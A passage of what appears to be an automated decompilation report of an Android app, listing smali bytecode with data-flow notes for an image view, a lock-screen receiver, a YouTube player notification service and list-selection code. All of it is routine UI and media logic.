25invoke-virtual {v0}, Lcom/mikepenz/a/a/c$a;->a()Ljava/lang/CharSequence;
26move-result-object v0
27if-eqz v0, :cond_27
29invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->g()Landroid/widget/Filter;
30move-result-object v0
31check-cast v0, Lcom/mikepenz/a/a/c$a;
32const/4 v1, 0x0
34invoke-virtual {v0, v1}, Lcom/mikepenz/a/a/c$a;->performFiltering(Ljava/lang/CharSequence;)Landroid/widget/Filter$FilterResults;
  • Data flow analysis:
    • p0: 0
35cond_27:
36invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
37move-result-object v0
38const/4 v1, 0x0
40invoke-virtual {v0, v1}, Lcom/mikepenz/a/b;->g(Z)V
  • Data flow analysis:
    • p0: 0
42invoke-interface {p1}, Ljava/util/List;->size()I
43move-result v0
45iget-object v1, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
47invoke-interface {v1}, Ljava/util/List;->size()I
48move-result v1
50invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
51move-result-object v2
53invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->c()I
54move-result v3
56invoke-virtual {v2, v3}, Lcom/mikepenz/a/b;->h(I)I
57move-result v2
59iget-object v3, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
60if-eq p1, v3, :cond_5b
62iget-object v3, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
64invoke-interface {v3}, Ljava/util/List;->isEmpty()Z
65move-result v3
66if-nez v3, :cond_56
68iget-object v3, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
70invoke-interface {v3}, Ljava/util/List;->clear()V
71cond_56:
72iget-object v3, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
74invoke-interface {v3, p1}, Ljava/util/List;->addAll(Ljava/util/Collection;)Z
75cond_5b:
76invoke-virtual {p0, p1}, Lcom/mikepenz/a/a/c;->a(Ljava/lang/Iterable;)V
78iget-object v3, p0, Lcom/mikepenz/a/a/c;->b:Ljava/util/Comparator;
79if-eqz v3, :cond_69
81iget-object v3, p0, Lcom/mikepenz/a/a/c;->c:Ljava/util/List;
83iget-object v4, p0, Lcom/mikepenz/a/a/c;->b:Ljava/util/Comparator;
85invoke-static {v3, v4}, Ljava/util/Collections;->sort(Ljava/util/List;Ljava/util/Comparator;)V
86cond_69: if-le v0, v1, :cond_7e
87if-lez v1, :cond_74
89invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
90move-result-object v3
92invoke-virtual {v3, v2, v1}, Lcom/mikepenz/a/b;->f(II)V
93cond_74:
94invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
95move-result-object v3
96add-int/2addr v2, v1
97sub-int/2addr v0, v1
99invoke-virtual {v3, v2, v0}, Lcom/mikepenz/a/b;->d(II)V
100goto_7d: return-object p0
101cond_7e: if-lez v0, :cond_94
102if-ge v0, v1, :cond_94
104invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
105move-result-object v3
107invoke-virtual {v3, v2, v0}, Lcom/mikepenz/a/b;->f(II)V
109invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
110move-result-object v3
111add-int/2addr v2, v0
112sub-int v0, v1, v0
114invoke-virtual {v3, v2, v0}, Lcom/mikepenz/a/b;->e(II)V
115goto/16 :goto_7d
116cond_94: if-nez v0, :cond_9e
118invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
119move-result-object v0
121invoke-virtual {v0, v2, v1}, Lcom/mikepenz/a/b;->e(II)V
122goto/16 :goto_7d
123cond_9e:
124invoke-virtual {p0}, Lcom/mikepenz/a/a/c;->b()Lcom/mikepenz/a/b;
125move-result-object v0
127invoke-virtual {v0}, Lcom/mikepenz/a/b;->j()V
128goto/16 :goto_7d
Cross References
APIs
  • com.pedqaesf.app.views.INSCircularImageView.getWidth
  • com.pedqaesf.app.views.INSCircularImageView.getHeight
  • com.pedqaesf.app.views.INSCircularImageView.invalidate
  • android.graphics.BitmapShader.<init>
  • android.graphics.Paint.setAntiAlias
  • android.graphics.Paint.setShader
  • android.graphics.Paint.setStyle
  • android.graphics.Paint.setAntiAlias
  • android.graphics.Paint.setColor
  • android.graphics.Paint.setStrokeWidth
  • android.graphics.Paint.setStyle
  • android.graphics.Paint.setAntiAlias
  • android.graphics.Paint.setColor
  • android.graphics.Bitmap.getHeight
  • android.graphics.Bitmap.getWidth
  • com.pedqaesf.app.views.INSCircularImageView.getWidth
  • com.pedqaesf.app.views.INSCircularImageView.getHeight
  • android.graphics.RectF.set
  • android.graphics.RectF.height
  • android.graphics.RectF.width
  • java.lang.Math.min
  • android.graphics.RectF.set
  • android.graphics.RectF.inset
  • android.graphics.RectF.height
  • android.graphics.RectF.width
  • java.lang.Math.min
  • com.pedqaesf.app.views.INSCircularImageView.c
  • com.pedqaesf.app.views.INSCircularImageView.invalidate
Position Instruction Meta Information
0.prologue
1const/4 v6, 0x0
2const/4 v5, 0x1
3const/high16 v4, 0x40000000 # 2.0f
4iget-boolean v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->s:Z
5if-nez v0, :cond_b
6iput-boolean v5, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->t:Z
7goto_a: return-void
8cond_b:
9invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getWidth()I
10move-result v0
11if-nez v0, :cond_17
13invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getHeight()I
14move-result v0
15if-eqz v0, :cond_a
16cond_17:
17iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
18if-nez v0, :cond_1f
20invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->invalidate()V
21goto/16 :goto_a
22cond_1f: new-instance v0, Landroid/graphics/BitmapShader;
24iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
26sget-object v2, Landroid/graphics/Shader$TileMode;->CLAMP:Landroid/graphics/Shader$TileMode;
28sget-object v3, Landroid/graphics/Shader$TileMode;->CLAMP:Landroid/graphics/Shader$TileMode;
30invoke-direct {v0, v1, v2, v3}, Landroid/graphics/BitmapShader;-><init>(Landroid/graphics/Bitmap;Landroid/graphics/Shader$TileMode;Landroid/graphics/Shader$TileMode;)V
31iput-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->m:Landroid/graphics/BitmapShader;
33iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->f:Landroid/graphics/Paint;
35invoke-virtual {v0, v5}, Landroid/graphics/Paint;->setAntiAlias(Z)V
  • Data flow analysis:
    • aa: 1
37iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->f:Landroid/graphics/Paint;
39iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->m:Landroid/graphics/BitmapShader;
41invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setShader(Landroid/graphics/Shader;)Landroid/graphics/Shader;
43iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->g:Landroid/graphics/Paint;
45sget-object v1, Landroid/graphics/Paint$Style;->STROKE:Landroid/graphics/Paint$Style;
47invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStyle(Landroid/graphics/Paint$Style;)V
49iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->g:Landroid/graphics/Paint;
51invoke-virtual {v0, v5}, Landroid/graphics/Paint;->setAntiAlias(Z)V
  • Data flow analysis:
    • aa: 1
53iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->g:Landroid/graphics/Paint;
54iget v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->i:I
56invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColor(I)V
58iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->g:Landroid/graphics/Paint;
59iget v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
60int-to-float v1, v1
62invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStrokeWidth(F)V
64iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->h:Landroid/graphics/Paint;
66sget-object v1, Landroid/graphics/Paint$Style;->FILL:Landroid/graphics/Paint$Style;
68invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setStyle(Landroid/graphics/Paint$Style;)V
70iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->h:Landroid/graphics/Paint;
72invoke-virtual {v0, v5}, Landroid/graphics/Paint;->setAntiAlias(Z)V
  • Data flow analysis:
    • aa: 1
74iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->h:Landroid/graphics/Paint;
75iget v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->k:I
77invoke-virtual {v0, v1}, Landroid/graphics/Paint;->setColor(I)V
79iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
81invoke-virtual {v0}, Landroid/graphics/Bitmap;->getHeight()I
82move-result v0
83iput v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->o:I
85iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->l:Landroid/graphics/Bitmap;
87invoke-virtual {v0}, Landroid/graphics/Bitmap;->getWidth()I
88move-result v0
89iput v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->n:I
91iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->d:Landroid/graphics/RectF;
93invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getWidth()I
94move-result v1
95int-to-float v1, v1
97invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->getHeight()I
98move-result v2
99int-to-float v2, v2
101invoke-virtual {v0, v6, v6, v1, v2}, Landroid/graphics/RectF;->set(FFFF)V
  • Data flow analysis:
    • p0: 0
    • p1: 0
103iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->d:Landroid/graphics/RectF;
105invoke-virtual {v0}, Landroid/graphics/RectF;->height()F
106move-result v0
107iget v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
108int-to-float v1, v1
109sub-float/2addr v0, v1
110div-float/2addr v0, v4
112iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->d:Landroid/graphics/RectF;
114invoke-virtual {v1}, Landroid/graphics/RectF;->width()F
115move-result v1
116iget v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
117int-to-float v2, v2
118sub-float/2addr v1, v2
119div-float/2addr v1, v4
121invoke-static {v0, v1}, Ljava/lang/Math;->min(FF)F
122move-result v0
123iput v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->q:F
125iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
127iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->d:Landroid/graphics/RectF;
129invoke-virtual {v0, v1}, Landroid/graphics/RectF;->set(Landroid/graphics/RectF;)V
130iget-boolean v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->u:Z
131if-nez v0, :cond_b7
133iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
134iget v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
135int-to-float v1, v1
136iget v2, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->j:I
137int-to-float v2, v2
139invoke-virtual {v0, v1, v2}, Landroid/graphics/RectF;->inset(FF)V
140cond_b7:
141iget-object v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
143invoke-virtual {v0}, Landroid/graphics/RectF;->height()F
144move-result v0
145div-float/2addr v0, v4
147iget-object v1, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->c:Landroid/graphics/RectF;
149invoke-virtual {v1}, Landroid/graphics/RectF;->width()F
150move-result v1
151div-float/2addr v1, v4
153invoke-static {v0, v1}, Ljava/lang/Math;->min(FF)F
154move-result v0
155iput v0, p0, Lcom/pedqaesf/app/views/INSCircularImageView;->p:F
157invoke-direct {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->c()V
159invoke-virtual {p0}, Lcom/pedqaesf/app/views/INSCircularImageView;->invalidate()V
160goto/16 :goto_a
APIs
  • android.content.Intent.getAction
  • java.lang.String.equals
  • java.lang.Boolean.valueOf
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • android.content.Intent.getAction
  • java.lang.String.equals
  • java.lang.Boolean.valueOf
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
Strings
  • android.intent.action.SCREEN_OFF
  • LOCKSCREEN
  • CALL
  • android.intent.action.SCREEN_ON
Position Instruction Meta Information
0.prologue
2invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
3move-result-object v0
5const-string v1, "android.intent.action.SCREEN_OFF"
7invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.intent.action.SCREEN_OFF
8move-result v0
9if-eqz v0, :cond_33
10const/4 v0, 0x1
11iput-boolean v0, p0, Lcom/pedqaesf/app/INSLockScreenReceiver;->a:Z
12iget-boolean v0, p0, Lcom/pedqaesf/app/INSLockScreenReceiver;->a:Z
14invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
15move-result-object v0
17invoke-static {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Ljava/lang/Boolean;)V
19const-string v0, "LOCKSCREEN"
20new-instance v1, Ljava/lang/StringBuilder;
22invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
24const-string v2, "CALL"
26invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: CALL
27move-result-object v1
28iget-boolean v2, p0, Lcom/pedqaesf/app/INSLockScreenReceiver;->a:Z
30invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
31move-result-object v1
33invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
34move-result-object v1
36invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: LOCKSCREEN
37goto_32: return-void
38cond_33:
39invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
40move-result-object v0
42const-string v1, "android.intent.action.SCREEN_ON"
44invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: android.intent.action.SCREEN_ON
45move-result v0
46if-eqz v0, :cond_32
47const/4 v0, 0x0
48iput-boolean v0, p0, Lcom/pedqaesf/app/INSLockScreenReceiver;->a:Z
49iget-boolean v0, p0, Lcom/pedqaesf/app/INSLockScreenReceiver;->a:Z
51invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
52move-result-object v0
54invoke-static {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Ljava/lang/Boolean;)V
56const-string v0, "LOCKSCREEN"
57new-instance v1, Ljava/lang/StringBuilder;
59invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
61const-string v2, "CALL"
63invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: CALL
64move-result-object v1
65iget-boolean v2, p0, Lcom/pedqaesf/app/INSLockScreenReceiver;->a:Z
67invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
68move-result-object v1
70invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
71move-result-object v1
73invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: LOCKSCREEN
74goto/16 :goto_32
Cross References
APIs
  • java.lang.Boolean.booleanValue
  • android.content.Context.getString
  • android.widget.RemoteViews.setTextViewText
  • android.content.Context.getString
  • android.widget.RemoteViews.setTextViewText
  • android.widget.RemoteViews.setViewVisibility
  • android.widget.RemoteViews.setImageViewResource
  • android.widget.RemoteViews.setViewVisibility
  • android.app.NotificationManager.notify
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
  • android.widget.RemoteViews.setViewVisibility
  • android.widget.RemoteViews.setImageViewResource
  • android.widget.RemoteViews.setViewVisibility
  • android.app.NotificationManager.notify
Position Instruction Meta Information
0.prologue
1const v7, 0x7f0f00d3
2const v6, 0x7f0f00d2
3const v5, 0x7f0f00d0
4const/16 v4, 0x8
5const/4 v2, 0x0
7sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->j:Landroid/widget/LinearLayout;
8if-eqz v0, :cond_86
10invoke-virtual {p0}, Ljava/lang/Boolean;->booleanValue()Z
11move-result v0
12sput-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->G:Z
13sget-boolean v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->G:Z
14if-eqz v0, :cond_87
16sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
18invoke-static {}, Lcom/pedqaesf/app/player/a;->b()Ljava/lang/String;
19move-result-object v0
21invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
23sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
24const v1, 0x7f0f0062
26sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a:Landroid/content/Context;
27const v3, 0x7f080033
29invoke-virtual {v2, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • resId: 2131230771
30move-result-object v2
32invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setTextViewText(ILjava/lang/CharSequence;)V
  • Data flow analysis:
    • viewId: 2131689570
34sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
35const v1, 0x7f0f00d1
37const-string v2, ""
39invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setTextViewText(ILjava/lang/CharSequence;)V
  • Data flow analysis:
    • viewId: 2131689681
41sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
42const v1, 0x7f0f00d1
44sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a:Landroid/content/Context;
45const v3, 0x7f080033
47invoke-virtual {v2, v3}, Landroid/content/Context;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • resId: 2131230771
48move-result-object v2
50invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setTextViewText(ILjava/lang/CharSequence;)V
  • Data flow analysis:
    • viewId: 2131689681
52sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
54invoke-virtual {v0, v7, v4}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • visibility: 8
56sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
58invoke-virtual {v0, v7, v4}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689683
    • visibility: 8
60sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
62invoke-virtual {v0, v5, v4}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689680
    • visibility: 8
64sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
66invoke-virtual {v0, v5, v4}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689680
    • visibility: 8
68sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
69const v1, 0x7f0f00d4
71invoke-virtual {v0, v1, v4}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689684
    • visibility: 8
73sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
74const v1, 0x7f0f00d4
76invoke-virtual {v0, v1, v4}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689684
    • srcId: 8
78sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
80invoke-virtual {v0, v6, v4}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689682
    • visibility: 8
82sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
84invoke-virtual {v0, v6, v4}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689682
    • visibility: 8
86sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->H:Landroid/app/NotificationManager;
87const/16 v1, 0x65
89sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
91invoke-virtual {v0, v1, v2}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 101
92goto_86: return-void
93cond_87:
94sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->y:Lcom/pedqaesf/app/player/c;
96invoke-static {}, Lcom/pedqaesf/app/player/a;->a()Ljava/lang/String;
97move-result-object v0
99invoke-static {v0}, Lcom/pedqaesf/app/player/c;->a(Ljava/lang/String;)V
101sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->z:Ljava/lang/String;
103invoke-static {v0}, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->a(Ljava/lang/String;)V
105sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
107invoke-virtual {v0, v7, v2}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689683
109sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
111invoke-virtual {v0, v7, v2}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689683
113sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
115invoke-virtual {v0, v5, v2}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689680
117sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
119invoke-virtual {v0, v5, v2}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689680
121sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
122const v1, 0x7f0f00d4
124invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689684
126sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
127const v1, 0x7f0f00d4
129invoke-virtual {v0, v1, v2}, Landroid/widget/RemoteViews;->setImageViewResource(II)V
  • Data flow analysis:
    • viewId: 2131689684
131sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->D:Landroid/widget/RemoteViews;
133invoke-virtual {v0, v6, v2}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689682
135sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->E:Landroid/widget/RemoteViews;
137invoke-virtual {v0, v6, v2}, Landroid/widget/RemoteViews;->setViewVisibility(II)V
  • Data flow analysis:
    • viewId: 2131689682
139sget-object v0, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->H:Landroid/app/NotificationManager;
140const/16 v1, 0x65
142sget-object v2, Lcom/pedqaesf/app/player/INSYouTubePlayerService;->I:Landroid/app/Notification;
144invoke-virtual {v0, v1, v2}, Landroid/app/NotificationManager;->notify(ILandroid/app/Notification;)V
  • Data flow analysis:
    • id: 101
145goto/16 :goto_86
Cross References
APIs
  • java.lang.Integer.valueOf
  • java.util.Set.contains
  • com.mikepenz.a.b.g
  • com.mikepenz.a.b.k
  • com.mikepenz.a.b.j
  • java.util.Set.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.Integer.intValue
  • com.mikepenz.a.b.a
  • com.mikepenz.a.b.c
  • java.util.Set.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.Integer.intValue
  • com.mikepenz.a.b.k
  • android.view.View.setSelected
  • java.lang.Integer.valueOf
  • java.util.Set.contains
  • java.lang.Integer.valueOf
  • java.util.Set.remove
  • java.lang.Integer.valueOf
  • java.util.Set.add
Position Instruction Meta Information
0.annotation system Ldalvik/annotation/Signature;
1value = {
2"(",
3"Landroid/view/View;",
4"TItem;I)V"
5}
6.end annotation
7.prologue
8const/4 v2, 0x1
9const/4 v3, 0x0
11invoke-interface {p2}, Lcom/mikepenz/a/g;->g()Z
12move-result v0
13if-nez v0, :cond_9
14goto_8: return-void
15cond_9:
16invoke-interface {p2}, Lcom/mikepenz/a/g;->f()Z
17move-result v0
18if-eqz v0, :cond_13
19iget-boolean v0, p0, Lcom/mikepenz/a/b;->h:Z
20if-eqz v0, :cond_8
21cond_13: iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
22if-eqz v0, :cond_35
24iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
26invoke-static {p3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
27move-result-object v1
29invoke-interface {v0, v1}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
30move-result v0
31move v1, v0
32goto_22: iget-boolean v0, p0, Lcom/mikepenz/a/b;->e:Z
33if-nez v0, :cond_28
34if-nez p1, :cond_3f
35cond_28: iget-boolean v0, p0, Lcom/mikepenz/a/b;->f:Z
36if-nez v0, :cond_2f
38invoke-virtual {p0}, Lcom/mikepenz/a/b;->g()V
39cond_2f: if-eqz v1, :cond_3b
41invoke-virtual {p0, p3}, Lcom/mikepenz/a/b;->k(I)V
42goto/16 :goto_8
43cond_35:
44invoke-interface {p2}, Lcom/mikepenz/a/g;->f()Z
45move-result v0
46move v1, v0
47goto/16 :goto_22
48cond_3b:
49invoke-virtual {p0, p3}, Lcom/mikepenz/a/b;->j(I)V
50goto/16 :goto_8
51cond_3f: iget-boolean v0, p0, Lcom/mikepenz/a/b;->f:Z
52if-nez v0, :cond_85
53iget-boolean v0, p0, Lcom/mikepenz/a/b;->k:Z
54if-eqz v0, :cond_67
56iget-object v0, p0, Lcom/mikepenz/a/b;->m:Ljava/util/Set;
58invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
59move-result-object v4
60cond_4d:
61invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
62move-result v0
63if-eqz v0, :cond_85
65invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
66move-result-object v0
67check-cast v0, Ljava/lang/Integer;
69invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
70move-result v5
71if-eq v5, p3, :cond_4d
73invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
74move-result v0
76invoke-direct {p0, v0, v4}, Lcom/mikepenz/a/b;->a(ILjava/util/Iterator;)V
77goto/16 :goto_4d
78cond_67:
79invoke-virtual {p0}, Lcom/mikepenz/a/b;->c()Ljava/util/Set;
80move-result-object v0
82invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
83move-result-object v4
84cond_6f:
85invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
86move-result v0
87if-eqz v0, :cond_85
89invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
90move-result-object v0
91check-cast v0, Ljava/lang/Integer;
93invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
94move-result v0
95if-eq v0, p3, :cond_6f
97invoke-virtual {p0, v0}, Lcom/mikepenz/a/b;->k(I)V
98goto/16 :goto_6f
99cond_85: if-nez v1, :cond_b9
100move v0, v2
101goto_88:
102invoke-interface {p2, v0}, Lcom/mikepenz/a/g;->b(Z)Ljava/lang/Object;
103if-nez v1, :cond_bb
104move v0, v2
105goto_8e:
106invoke-virtual {p1, v0}, Landroid/view/View;->setSelected(Z)V
  • Data flow analysis:
    • selected: 1
108iget-object v0, p0, Lcom/mikepenz/a/b;->u:Lcom/mikepenz/a/i;
109if-eqz v0, :cond_9c
111iget-object v0, p0, Lcom/mikepenz/a/b;->u:Lcom/mikepenz/a/i;
112if-nez v1, :cond_bd
113goto_99:
